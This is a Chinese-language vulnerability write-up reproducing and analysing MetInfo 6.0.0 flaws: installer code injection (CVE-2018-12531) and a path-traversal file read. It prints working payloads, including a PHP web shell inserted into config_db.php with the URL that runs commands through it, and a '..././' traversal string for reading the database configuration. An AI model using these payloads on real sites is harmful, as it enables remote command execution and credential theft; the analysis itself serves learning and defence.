0x01 漏洞简介
MetInfo是一套使用PHP和Mysql开发的内容管理系统。但是在MetInfo 6.0.0版本存在任意文件读取和任意代码执行漏洞。
代码执行(CVE-2018-12531):
在安装过程中没有对输入进行过滤,导致任意代码执行,执行webshell。
文件读取:
old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
0x02 漏洞复现
代码执行
环境:
-
phpstudy pro
-
php 5.3.29
MetInfo 6.0.0源码下载:
http://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
在填写数据库配置信息时插入payload
*/@system($_REQUEST[don9sec]);/*
忽略报错,只要能成功修改配置文件内容即可:
前去验证一下:
cat configconfig_db.php
如图,数据库配置文件已被成功修改,payload也已经成功插入:
# 路径为
/config/config_db.php?don9sec=
执行命令ipconfig
/config/config_db.php?don9sec=ipconfig
如图,已成功执行ipcong:
文件读取
环境:
-
phpstudy pro
-
php 5.3.29
如图,环境成功搭建:
读取文件config_db.php:
?dir=..././http/..././config/config_db.php
竟然复现失败!!!
估计又是因为文件权限,只好点到为止(偷图):
0x03 漏洞分析
代码执行
payload:
*/@system($_REQUEST[don9sec]);/*
插入之后:
payload携带的*/
和/*
刚好把前面和后面的/*和*/
闭合,剩下中间的一句话,自然就可以执行代码了。
文件读取
首先观察payload:
切入点:
参数:$dir
文件:include/thumb.php
全局定位字符串:
# $dir
Ctrl + Shift + F
挨个看,发现在old_thumb.class.php文件下的$dir参数满足漏洞构想
跟进该文件:
分析
-
参数:$dir
-
传参方式:GET
-
是否过滤:将../置空
-
bypass
-
利用点:readfile函数,可读取文件
-
调用前提:进入if判断
-
进入前提:
-
strstr() :
判断$dir中http字符串的首次出现位置,换句话说也就是$dir中必须含有http字符串。
# 无法使用../进行目录穿越,但可以使用..././ 进行绕过
..././ - ../ = ../ # 🙈
即payload形式大致如下
# x表示文件路径
?dir=..././http/..././xxx
现在需要找到有调用old_thumb.class.php的文件:
# old_thumb
Ctrl + Shift + F
到此,完整的利用链就构造出来了:
-
通过include/thumb.php进入到old_thumb.class.php
-
然后经过层层bypass后的参数$dir构造目标文件路径即可
最终的payload如下:
?dir=..././http/..././config/config_db.php
参考
https://caiqiqi.github.io/
本文始发于微信公众号(don9sec):MetInfo 6.0.0 任意文件读取/代码执行漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论